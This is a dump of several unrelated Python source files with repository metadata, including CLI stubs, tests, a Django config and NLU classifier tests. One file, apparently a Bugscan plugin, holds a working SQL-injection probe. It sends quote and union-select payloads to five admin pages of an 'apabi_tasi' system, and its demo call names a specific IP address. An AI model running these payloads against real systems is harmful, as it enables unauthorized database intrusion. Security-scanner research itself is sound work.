48e9293015d47ee0f97ea9707896798b84f14feb
|
[
"Unlicense"
] | null | null | null |
gooch_maf_tools/main.py
|
kotoroshinoto/TCGA_MAF_Analysis
|
48e9293015d47ee0f97ea9707896798b84f14feb
|
[
"Unlicense"
] | 2
|
2017-03-15T17:55:43.000Z
|
2017-03-15T17:57:50.000Z
|
gooch_maf_tools/main.py
|
kotoroshinoto/TCGA_MAF_Analysis
|
48e9293015d47ee0f97ea9707896798b84f14feb
|
[
"Unlicense"
] | null | null | null |
import click
from .commands.analysis.main import analysis
from .commands.lengths.main import lengths
from .commands.names.main import names
@click.group(name='gooch_maf_tools', help="collection of tools for working with MAF files and gene annotations")
def gooch_maf_tools():
pass
gooch_maf_tools.add_command(analysis, "")
gooch_maf_tools.add_command(lengths, "")
gooch_maf_tools.add_command(names, "")
if __name__ == "__main__":
gooch_maf_tools()
| 26.705882
| 112
| 0.792952
| 67
| 454
| 5.029851
| 0.41791
| 0.142433
| 0.231454
| 0.142433
| 0.204748
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.101322
| 454
| 16
| 113
| 28.375
| 0.82598
| 0
| 0
| 0
| 0
| 0
| 0.198238
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.083333
| true
| 0.083333
| 0.333333
| 0
| 0.416667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
|
0
| 4
|
d9ab2600381211233e546853160b03f0adbf267a
| 193
|
py
|
Python
|
tests/test_input_laplace_1d.py
|
clazaro/sfepy
|
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
|
[
"BSD-3-Clause"
] | 510
|
2015-01-19T16:22:25.000Z
|
2022-03-30T19:02:51.000Z
|
tests/test_input_laplace_1d.py
|
clazaro/sfepy
|
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
|
[
"BSD-3-Clause"
] | 402
|
2015-01-22T10:57:50.000Z
|
2022-03-30T15:19:23.000Z
|
tests/test_input_laplace_1d.py
|
clazaro/sfepy
|
78757a6989d6aaf85a3fb27957b9179c5e2aa2c7
|
[
"BSD-3-Clause"
] | 156
|
2015-01-05T14:23:38.000Z
|
2022-03-22T13:08:30.000Z
|
from __future__ import absolute_import
input_name = '../examples/diffusion/laplace_1d.py'
output_name = 'test_laplace_1d.vtk'
from tests_basic import TestInput
class Test(TestInput):
pass
| 24.125
| 50
| 0.803109
| 27
| 193
| 5.333333
| 0.703704
| 0.125
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.011696
| 0.11399
| 193
| 7
| 51
| 27.571429
| 0.830409
| 0
| 0
| 0
| 0
| 0
| 0.279793
| 0.181347
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0.166667
| 0.333333
| 0
| 0.5
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 0
| 0
| 0
|
0
| 4
|
d9ae7f652f83d743f22a76f5b3458e4ad31985e2
| 394
|
py
|
Python
|
python/qitest/test/projects/testme/test/test_foo.py
|
aldebaran/qibuild
|
efea6fa3744664348717fe5e8df708a3cf392072
|
[
"BSD-3-Clause"
] | 51
|
2015-01-05T14:35:13.000Z
|
2021-07-27T06:46:59.000Z
|
python/qitest/test/projects/testme/test/test_foo.py
|
aldebaran/qibuild
|
efea6fa3744664348717fe5e8df708a3cf392072
|
[
"BSD-3-Clause"
] | 104
|
2015-04-09T10:48:42.000Z
|
2020-09-16T16:33:29.000Z
|
python/qitest/test/projects/testme/test/test_foo.py
|
aldebaran/qibuild
|
efea6fa3744664348717fe5e8df708a3cf392072
|
[
"BSD-3-Clause"
] | 46
|
2015-01-05T14:35:16.000Z
|
2022-02-13T20:39:36.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2012-2021 SoftBank Robotics. All rights reserved.
# Use of this source code is governed by a BSD-style license (see the COPYING file).
""" Test Foo """
from __future__ import absolute_import
from __future__ import unicode_literals
from __future__ import print_function
def test_foo():
""" Test Foo """
assert 40 + 2 == 42
| 28.142857
| 84
| 0.713198
| 58
| 394
| 4.568966
| 0.810345
| 0.079245
| 0.181132
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.04321
| 0.177665
| 394
| 13
| 85
| 30.307692
| 0.774691
| 0.530457
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 1
| 0.2
| true
| 0
| 0.6
| 0
| 0.8
| 0.2
| 0
| 0
| 0
| null | 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d9b1f4c8b930cc47e9a69af24f7461dbba6e2419
| 189
|
wsgi
|
Python
|
highearthorbit.wsgi
|
orithena/highearthorbit
|
a444dba54f6fdb5b84cf5bd4c3e24f4bd1796fb1
|
[
"MIT"
] | 3
|
2017-06-17T10:13:38.000Z
|
2019-01-18T18:40:59.000Z
|
highearthorbit.wsgi
|
orithena/highearthorbit
|
a444dba54f6fdb5b84cf5bd4c3e24f4bd1796fb1
|
[
"MIT"
] | null | null | null |
highearthorbit.wsgi
|
orithena/highearthorbit
|
a444dba54f6fdb5b84cf5bd4c3e24f4bd1796fb1
|
[
"MIT"
] | null | null | null |
import logging, sys, os
sys.path.insert(0, '/home/dave/Development/highearthorbit')
sys.stdout = sys.stderr
logging.basicConfig(stream=sys.stderr)
from webviewer import app as application
| 27
| 59
| 0.798942
| 27
| 189
| 5.592593
| 0.740741
| 0.119205
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005814
| 0.089947
| 189
| 6
| 60
| 31.5
| 0.872093
| 0
| 0
| 0
| 0
| 0
| 0.195767
| 0.195767
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.4
| 0
| 0.4
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
d9c5f39b0c69b00d970ac384629a0277146a12c3
| 344
|
py
|
Python
|
Solutions/ifElifElseInferno.py
|
lusifer65/Python-Thunder
|
4653c55b0a6cdee36ae2d0c128932cf352324e23
|
[
"MIT"
] | 81
|
2020-09-25T15:02:11.000Z
|
2020-10-12T14:20:31.000Z
|
Solutions/ifElifElseInferno.py
|
lusifer65/Python-Thunder
|
4653c55b0a6cdee36ae2d0c128932cf352324e23
|
[
"MIT"
] | 196
|
2020-09-25T13:52:13.000Z
|
2020-10-12T20:20:00.000Z
|
Solutions/ifElifElseInferno.py
|
lusifer65/Python-Thunder
|
4653c55b0a6cdee36ae2d0c128932cf352324e23
|
[
"MIT"
] | 209
|
2020-09-25T16:15:46.000Z
|
2020-10-12T20:08:08.000Z
|
'''
Problem Statement : Write a function that returns the boolean True if the given number is zero, the string "positive" if the number is greater than zero or the string "negative" if it's smaller than zero.
Problem Link : https://edabit.com/challenge/2TdPmSpLpa8NWh6m9
'''
def equilibrium(x):
return not x or ('negative', 'positive')[x > 0]
| 49.142857
| 204
| 0.747093
| 54
| 344
| 4.759259
| 0.666667
| 0.038911
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.017182
| 0.15407
| 344
| 6
| 205
| 57.333333
| 0.865979
| 0.773256
| 0
| 0
| 0
| 0
| 0.228571
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.5
| false
| 0
| 0
| 0.5
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 1
| 1
| 0
|
0
| 4
|
d9c9a2f5c86ca0c708a25741a9cbf7ff04c2f496
| 149
|
py
|
Python
|
django_admin_json_editor/__init__.py
|
petersenpeter/django-admin-json-editor
|
51083c5ff3a25f442f9c4d0f54b402ba0efdb5ed
|
[
"MIT"
] | null | null | null |
django_admin_json_editor/__init__.py
|
petersenpeter/django-admin-json-editor
|
51083c5ff3a25f442f9c4d0f54b402ba0efdb5ed
|
[
"MIT"
] | null | null | null |
django_admin_json_editor/__init__.py
|
petersenpeter/django-admin-json-editor
|
51083c5ff3a25f442f9c4d0f54b402ba0efdb5ed
|
[
"MIT"
] | 1
|
2021-06-15T13:35:38.000Z
|
2021-06-15T13:35:38.000Z
|
# true
from .admin import JSONEditorWidget # noqa
try:
# true
from .version import __version__
except ImportError:
__version__ = 'dev'
| 16.555556
| 43
| 0.704698
| 16
| 149
| 6.0625
| 0.6875
| 0.164948
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.228188
| 149
| 8
| 44
| 18.625
| 0.843478
| 0.09396
| 0
| 0
| 0
| 0
| 0.022901
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.6
| 0
| 0.6
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d9eb89cdf905dda43a232cfdd1d318f1ed8c3b80
| 276
|
py
|
Python
|
pipestash/output/__init__.py
|
jdelker/pipestash
|
0b9b50e02083fe3f31989c4bb161229e6d07dc67
|
[
"BSD-3-Clause"
] | null | null | null |
pipestash/output/__init__.py
|
jdelker/pipestash
|
0b9b50e02083fe3f31989c4bb161229e6d07dc67
|
[
"BSD-3-Clause"
] | null | null | null |
pipestash/output/__init__.py
|
jdelker/pipestash
|
0b9b50e02083fe3f31989c4bb161229e6d07dc67
|
[
"BSD-3-Clause"
] | null | null | null |
# output module. only does redis for now
import urllib.parse
class Output(object):
def __init__(self, config):
raise Exception("subclasses need to override this method")
def do(self, item):
raise Exception("subclasses need to override this method")
| 25.090909
| 66
| 0.706522
| 37
| 276
| 5.162162
| 0.702703
| 0.146597
| 0.251309
| 0.293194
| 0.502618
| 0.502618
| 0.502618
| 0.502618
| 0
| 0
| 0
| 0
| 0.213768
| 276
| 10
| 67
| 27.6
| 0.880184
| 0.137681
| 0
| 0.333333
| 0
| 0
| 0.331915
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0.166667
| 0
| 0.666667
| 0
| 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
d9fcc6fdb5c8b7cb8ea3e306e77ad6537646f5a3
| 199
|
py
|
Python
|
src/apps/productividad/config.py
|
SGC-Tlaxcala/cerebro
|
6c842f66d849065a70002fccdb1eaca1e3d61d99
|
[
"MIT"
] | null | null | null |
src/apps/productividad/config.py
|
SGC-Tlaxcala/cerebro
|
6c842f66d849065a70002fccdb1eaca1e3d61d99
|
[
"MIT"
] | 48
|
2017-04-21T17:35:23.000Z
|
2020-08-29T04:19:35.000Z
|
src/apps/productividad/config.py
|
SGC-Tlaxcala/cerebro
|
6c842f66d849065a70002fccdb1eaca1e3d61d99
|
[
"MIT"
] | null | null | null |
# coding: utf-8
"""Configurador de aplicaciones"""
from django.apps import AppConfig
class ProductividadConfig(AppConfig):
"""Configuración de la aplicación"""
name = 'apps.productividad'
| 19.9
| 40
| 0.733668
| 21
| 199
| 6.952381
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.005917
| 0.150754
| 199
| 9
| 41
| 22.111111
| 0.857988
| 0.371859
| 0
| 0
| 0
| 0
| 0.157895
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
d9ff73d27ea8c00ed0114de77b3530d2b4b86b38
| 185
|
py
|
Python
|
jexia_cli/constants.py
|
veger/jexia-cli
|
d7652030292a0276659cc0710b2bf4861c8ba568
|
[
"MIT"
] | 6
|
2020-02-03T11:02:29.000Z
|
2020-04-02T19:16:13.000Z
|
jexia_cli/constants.py
|
veger/jexia-cli
|
d7652030292a0276659cc0710b2bf4861c8ba568
|
[
"MIT"
] | 3
|
2020-04-02T12:42:08.000Z
|
2021-06-10T23:51:13.000Z
|
jexia_cli/constants.py
|
veger/jexia-cli
|
d7652030292a0276659cc0710b2bf4861c8ba568
|
[
"MIT"
] | 2
|
2020-02-05T09:05:32.000Z
|
2020-12-04T13:22:48.000Z
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from os.path import (join, expanduser)
DEFAULT_DOMAIN = "jexia.com"
DEFAULT_CONFIG_PATH = join(expanduser("~"), ".jexia", "config.yml")
| 20.555556
| 67
| 0.67027
| 25
| 185
| 4.84
| 0.76
| 0.231405
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.006173
| 0.124324
| 185
| 8
| 68
| 23.125
| 0.740741
| 0.227027
| 0
| 0
| 0
| 0
| 0.184397
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 0.333333
| 0
| 1
| 0
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
|
0
| 4
|
8a102eee6469e48edf5abaedca12ace4c03c8e29
| 1,413
|
py
|
Python
|
Bugscan_exploits-master/exp_list/exp-1124.py
|
csadsl/poc_exp
|
e3146262e7403f19f49ee2db56338fa3f8e119c9
|
[
"MIT"
] | 11
|
2020-05-30T13:53:49.000Z
|
2021-03-17T03:20:59.000Z
|
Bugscan_exploits-master/exp_list/exp-1124.py
|
csadsl/poc_exp
|
e3146262e7403f19f49ee2db56338fa3f8e119c9
|
[
"MIT"
] | 6
|
2020-05-13T03:25:18.000Z
|
2020-07-21T06:24:16.000Z
|
Bugscan_exploits-master/exp_list/exp-1124.py
|
csadsl/poc_exp
|
e3146262e7403f19f49ee2db56338fa3f8e119c9
|
[
"MIT"
] | 6
|
2020-05-30T13:53:51.000Z
|
2020-12-01T21:44:26.000Z
|
#!/usr/bin/python
#-*- encoding:utf-8 -*-
#__author__ = '1c3z'
#ref http://wooyun.org/bugs/wooyun-2010-0105887
#ref http://wooyun.org/bugs/wooyun-2010-0105892
def assign(service, arg):
if service == "apabi_tasi":
return True, arg
def audit(arg):
import urllib2
payloads = {'tasi/admin/system/tutordept.asp':'txtDeptName=aaa%27&did=0&action=add&page=0&btnNewSaveDept=%B1%A3%B4%E6',\
'tasi/admin/system/language.asp':'editLangCode=-1%27%20union%20all%20select%201%20--&editLangName=SS&langid=&action=add&btnSaveLang=%B1%A3%B4%E6',\
'tasi/admin/system/subject.asp':'editSClassCode=01&editSClassName=%D5%DC%D1%A7%27&dtype=1&scid=1&type=modify&btnSaveSClass=%B1%A3%B4%E6',\
'tasi/admin/system/usermng.asp':'txtLogin=dd%27&txtPassword=dd&txtName=dd&cboUserType=0&txtDesc=dd&userid=0&oldlogin=&action=add&btnEditSaveUser=%B1%A3%B4%E6',\
'tasi/admin/system/fileformat.asp':'txtFormatName=sss%27&txtFormatExt=sss&txtFormatVersion=sss&cboFileType=1&formatid=0&action=add&btnSaveFormat=%B1%A3%B4%E6'}
for payload in payloads:
url = arg + payload
code, head,res, errcode, _ = curl.curl2(url,payloads[payload])
if 'Microsoft OLE DB Provider for SQL Server' in res:
security_hole(url)
if __name__ == '__main__':
from dummy import *
audit(assign('apabi_tasi', 'http://202.120.121.200/')[1])
| 52.333333
| 165
| 0.682236
| 201
| 1,413
| 4.716418
| 0.572139
| 0.047468
| 0.079114
| 0.042194
| 0.160338
| 0.160338
| 0.160338
| 0
| 0
| 0
| 0
| 0.078642
| 0.145081
| 1,413
| 27
| 166
| 52.333333
| 0.706126
| 0.105449
| 0
| 0
| 0
| 0.277778
| 0.623177
| 0.549433
| 0
| 0
| 0
| 0
| 0
| 1
| 0.111111
| false
| 0.055556
| 0.111111
| 0
| 0.277778
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 4
|
8a23cf4cc2fa002fa5791eff863a20c2e732db80
| 210
|
py
|
Python
|
networks/core/layers/layer_error.py
|
Danielto1404/ML-ALGO
|
53dfca1ea0718d94586495493d5de3f446e238fd
|
[
"MIT"
] | 1
|
2021-03-11T17:32:13.000Z
|
2021-03-11T17:32:13.000Z
|
networks/core/layers/layer_error.py
|
Danielto1404/ML-ALGO
|
53dfca1ea0718d94586495493d5de3f446e238fd
|
[
"MIT"
] | null | null | null |
networks/core/layers/layer_error.py
|
Danielto1404/ML-ALGO
|
53dfca1ea0718d94586495493d5de3f446e238fd
|
[
"MIT"
] | null | null | null |
class EmptyLayerError(Exception):
"""
Represent empty layers accessing.
"""
def __init__(self, message="Unable to access empty layers."):
super(EmptyLayerError, self).__init__(message)
| 26.25
| 65
| 0.685714
| 21
| 210
| 6.47619
| 0.714286
| 0.161765
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 210
| 7
| 66
| 30
| 0.809524
| 0.157143
| 0
| 0
| 0
| 0
| 0.186335
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.333333
| false
| 0
| 0
| 0
| 0.666667
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 1
| 0
|
0
| 4
|
8a3b3cdcdbadcd46c7efa87c8f7613ebc070f6dc
| 20
|
py
|
Python
|
data/studio21_generated/introductory/3347/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/3347/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
data/studio21_generated/introductory/3347/starter_code.py
|
vijaykumawat256/Prompt-Summarization
|
614f5911e2acd2933440d909de2b4f86653dc214
|
[
"Apache-2.0"
] | null | null | null |
def minimum(a, x):
| 10
| 18
| 0.6
| 4
| 20
| 3
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.2
| 20
| 2
| 19
| 10
| 0.75
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8a480ddcd0046ceeac4b987b35e6647340393e07
| 92
|
py
|
Python
|
libsearch/apps.py
|
SeanICho/library-app
|
3eed643a7e22e1b7d85b3720ba577c4bf7ec4f09
|
[
"MIT"
] | null | null | null |
libsearch/apps.py
|
SeanICho/library-app
|
3eed643a7e22e1b7d85b3720ba577c4bf7ec4f09
|
[
"MIT"
] | null | null | null |
libsearch/apps.py
|
SeanICho/library-app
|
3eed643a7e22e1b7d85b3720ba577c4bf7ec4f09
|
[
"MIT"
] | null | null | null |
from django.apps import AppConfig
class LibsearchConfig(AppConfig):
name = 'libsearch'
| 18.4
| 33
| 0.771739
| 10
| 92
| 7.1
| 0.9
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.152174
| 92
| 4
| 34
| 23
| 0.910256
| 0
| 0
| 0
| 0
| 0
| 0.097826
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.333333
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 4
|
8a4905c051bd0667e35b6d6b61cf89262abdfb08
| 1,546
|
py
|
Python
|
02_tencent/mySpider/spiders/itcast.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
02_tencent/mySpider/spiders/itcast.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
02_tencent/mySpider/spiders/itcast.py
|
GongkunJiang/MySpider
|
8c088f696679b13568843af521279f9f25f40314
|
[
"MIT"
] | null | null | null |
# # -*- coding: utf-8 -*-
# import scrapy
# from mySpider.items import MyspiderItem
#
# class ItcastSpider(scrapy.Spider):
# name = 'itcast'
# allowed_domains = ['itcast.cn']
# start_urls = (
# "http://www.itcast.cn/channel/teacher.shtml#ac",
# "http://www.itcast.cn/channel/teacher.shtml#acloud",
# "http://www.itcast.cn/channel/teacher.shtml#ads",
# "http://www.itcast.cn/channel/teacher.shtml#ago",
# "http://www.itcast.cn/channel/teacher.shtml#ajavaee",
# "http://www.itcast.cn/channel/teacher.shtml#aLinux",
# "http://www.itcast.cn/channel/teacher.shtml#amovies",
# "http://www.itcast.cn/channel/teacher.shtml#anetmarket",
# "http://www.itcast.cn/channel/teacher.shtml#aphp",
# "http://www.itcast.cn/channel/teacher.shtml#apm",
# "http://www.itcast.cn/channel/teacher.shtml#apython",
# "http://www.itcast.cn/channel/teacher.shtml#atest",
# "http://www.itcast.cn/channel/teacher.shtml#aui",
# "http://www.itcast.cn/channel/teacher.shtml#auijp",
# "http://www.itcast.cn/channel/teacher.shtml#aweb",
#
# )
#
# def parse(self, response):
# teacher_list = response.xpath('//div[@class="li_txt"]')
# for each in teacher_list:
# item = MyspiderItem()
# item['name'] = each.xpath('./h3/text()').extract()[0]
# item['title'] = each.xpath('./h4/text()').extract()[0]
# item['info'] = each.xpath('./p/text()').extract()[0]
# yield item
| 44.171429
| 68
| 0.589909
| 187
| 1,546
| 4.850267
| 0.326203
| 0.141125
| 0.214994
| 0.248071
| 0.562293
| 0.562293
| 0.562293
| 0
| 0
| 0
| 0
| 0.004862
| 0.201811
| 1,546
| 34
| 69
| 45.470588
| 0.730146
| 0.944373
| 0
| null | 0
| null | 0
| 0
| null | 0
| 0
| 0
| null | 1
| null | true
| 0
| 0
| null | null | null | 0
| 0
| 0
| null | 0
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 4
|
8a6c0a3d25cbacd02a6755df8868ac8b829f8c02
| 4,385
|
py
|
Python
|
tests/nlu_core_tests/training_tests/classifiers/classifier_dl_tests.py
|
milyiyo/nlu
|
d209ed11c6a84639c268f08435552248391c5573
|
[
"Apache-2.0"
] | 480
|
2020-08-24T02:36:40.000Z
|
2022-03-30T08:09:43.000Z
|
tests/nlu_core_tests/training_tests/classifiers/classifier_dl_tests.py
|
milyiyo/nlu
|
d209ed11c6a84639c268f08435552248391c5573
|
[
"Apache-2.0"
] | 28
|
2020-09-26T18:55:43.000Z
|
2022-03-26T01:05:45.000Z
|
tests/nlu_core_tests/training_tests/classifiers/classifier_dl_tests.py
|
milyiyo/nlu
|
d209ed11c6a84639c268f08435552248391c5573
|
[
"Apache-2.0"
] | 76
|
2020-09-25T22:55:12.000Z
|
2022-03-17T20:25:52.000Z
|
from sklearn.metrics import classification_report
import unittest
from nlu import *
import tests.test_utils as t
import pandas as pd
class ClassifierDlTests(unittest.TestCase):
def test_classifier_dl_training_labse(self):
test_df = self.load_classifier_dl_dataset()
train_df = test_df
train_df.columns = ['y','text']
test_df.columns = ['y','text']
pipe = nlu.load('xx.embed_sentence.labse train.classifier',verbose=True,)
pipe['classifier_dl'].setMaxEpochs(2)
pipe = pipe.fit(train_df)
df = pipe.predict(test_df)
pipe.print_info()
print(df.columns)
for c in df.columns : print (df[c])
def test_classifier_dl_training(self):
test_df = self.load_classifier_dl_dataset()
train_df = test_df
train_df.columns = ['y','text']
test_df.columns = ['y','text']
pipe = nlu.load('train.classifier',verbose=True,)
pipe['classifier_dl'].setMaxEpochs(2)
pipe = pipe.fit(train_df)
df = pipe.predict(train_df)
# print(df[['category','y']])
df = pipe.predict(test_df)
pipe.print_info()
print(df.columns)
# print(df[['category','y']])
# print (classification_report(df['y'], df['category']))
for c in df.columns : print (df[c])
# pipe.save('/home/loan/Documents/freelance/jsl/nlu/nlu4realgit/tests/trained_models/quick_classifi')
# Too heavy running on github actions
# def test_classifier_dl_custom_embeds_doc_level(self):
# test_df = self.load_classifier_dl_dataset()
# train_df = test_df
# train_df.columns = ['y','text']
# test_df.columns = ['y','text']
# pipe = nlu.load('embed_sentence.bert train.classifier',verbose=True,)
# pipe['classifier_dl'].setMaxEpochs(2)
# fitted_model = pipe.fit(train_df)
# df = fitted_model.predict(train_df, output_level='document')
# print(df.columns)
# print(df[['category','y']])
# df = fitted_model.predict(test_df, output_level='document')
# print(df.columns)
# print(df[['category','y']])
#
# # Eval results
# from sklearn.metrics import classification_report
#
# print (classification_report(df['y'], df['category']))
#
# def test_classifier_dl_custom_embeds_sentence_level(self):
# test_df = self.load_classifier_dl_dataset()
# train_df = test_df
# train_df.columns = ['y','text']
# test_df.columns = ['y','text']
# pipe = nlu.load('embed_sentence.bert train.classifier',verbose=True,)
# pipe['classifier_dl'].setMaxEpochs(2)
# fitted_model = pipe.fit(train_df)
# df = fitted_model.predict(train_df, output_level='sentence')
#
# print(df.columns)
# print(df[['category','y']])
# df = fitted_model.predict(test_df, output_level='sentence')
# print(df.columns)
# print(df[['category','y']])
#
# # Eval results
# from sklearn.metrics import classification_report
#
# print (classification_report(df['y'], df['category']))
#
#
# def test_classifier_dl_custom_embeds_auto_level(self):
# test_df = self.load_classifier_dl_dataset()
# train_df = test_df
# train_df.columns = ['y','text']
# test_df.columns = ['y','text']
# pipe = nlu.load('embed_sentence.bert train.classifier',verbose=True,)
# pipe['classifier_dl'].setMaxEpochs(2)
# fitted_model = pipe.fit(train_df)
# df = fitted_model.predict(train_df)
# print(df.columns)
# print(df[['category','y']])
# df = fitted_model.predict(test_df)
# print(df.columns)
# print(df[['category','y']])
#
# # Eval results
# from sklearn.metrics import classification_report
#
# print (classification_report(df['y'], df['category']))
def load_classifier_dl_dataset(self):
output_file_name = 'news_category_test.csv'
output_folder = 'classifier_dl/'
data_url = "https://s3.amazonaws.com/auxdata.johnsnowlabs.com/public/resources/en/classifier-dl/news_Category/news_category_test.csv"
return pd.read_csv(t.download_dataset(data_url,output_file_name,output_folder)).iloc[0:15]
if __name__ == '__main__':
unittest.main()
| 37.801724
| 141
| 0.624857
| 543
| 4,385
| 4.786372
| 0.184162
| 0.046172
| 0.038476
| 0.053867
| 0.791843
| 0.762216
| 0.733359
| 0.712582
| 0.694883
| 0.694883
| 0
| 0.002978
| 0.234208
| 4,385
| 115
| 142
| 38.130435
| 0.770995
| 0.537286
| 0
| 0.526316
| 0
| 0.026316
| 0.135992
| 0.023006
| 0
| 0
| 0
| 0
| 0
| 1
| 0.078947
| false
| 0
| 0.131579
| 0
| 0.263158
| 0.157895
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
